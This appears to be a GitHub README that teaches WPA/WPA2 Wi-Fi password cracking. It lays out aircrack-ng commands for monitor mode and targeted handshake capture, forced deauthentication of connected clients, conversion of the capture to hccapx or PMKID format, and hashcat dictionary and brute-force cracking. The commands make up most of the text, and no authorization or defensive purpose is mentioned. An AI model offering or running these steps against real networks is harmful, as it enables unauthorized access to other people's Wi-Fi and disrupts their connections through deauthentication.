jspw / Crack-WIFI-WPA2

Get handshake and crack wpa/wpa2 security wifi passwords

Crack WIFI Password (WPA/WPA2) using Aircrack-ng

Prerequirments :

• Aircrack-ng : sudo apt install aircrack-ng
• GPU for hashcat

Lets capture the flag (I mean *Handshake):

Open terminal.....

Terminal-1:

1. Detect your wireless network interface :

   ifconfig

   

   Note: Here wlp3s0 is my wireless interface.

   if coudn't find command then try :

   /sbin/ifconfig

2. Start monitor mode :

   sudo airmon-ng start wlp3s0

   

3. capture traffic :

   sudo airodump-ng wlp3s0mon

   

Terminal-2:

4. select target and focus on one AP on channel:

   sudo airodump-ng --bssid xx.xx.xx.xx.xx.xx -c y --write filename wlp3s0mon

   • xx.xx.xx.xx.xx.xx defines : AP BSSID -> 00.11.22.33.44.55 (suppose)
   • y defines : AP channel -> 10 (suppose)
   • filename is the file name where the handshake will captute and make some other stuffs .

   

Terminal-3:

5. Send traffic to the channel :

   sudo aireplay-ng --deauth y -a xx.xx.xx.xx.xx.xx wlp3s0mon

   • ammoun of traffic-> y

   

6. Capture handshake : it will be shown in the monitor if captured ! at Terminal-2.

   

7. Now you got the handshake (terminal-2)

8. Stop the process of terminal-2 : ctrl+c

Now Lets crack the password !

There will be a WPAcrack-01.cap file in your home directory

1. convert cap file into hccapx file : https://www.onlinehashcrack.com/tools-cap-to-hccapx-converter.php

or

1. use cap2hccapx.c file to convert the cap file to hccapx file

   gcc cap2hccapx.c -o cap2hccapx && ./cap2hccapx file.cap file.hccapx

   

   Note : cap to pkid (in case of pkid) :

   hcxpcaptool -z pmkidhash suva-01.cap

2. Crack password using hashcat :

   • Install hashcat : sudo apt install hashcat

   • check is everything oky ? : hashcat -I to use hashcat you need gpu

   • crack password :

     hashcat -m 2500 wpacrack.hccapx dictionary.txt

     • dictionary.txt -> word list (suppose)
     • wpacrack.hccapx is the handshake file

     

     

• Bruteforce : Example (bruteforce for length 8 password using 0-9 digits) :

  hashcat -a 3 -m 16800 pmkidhash ?d?d?d?d?d?d?d?d

  Then you will get the password (if you are lucky enough). here password : secret

• Others : All ready cracked pass check :

  hashcat -m 2500 test.hccapx rockyou.txt --show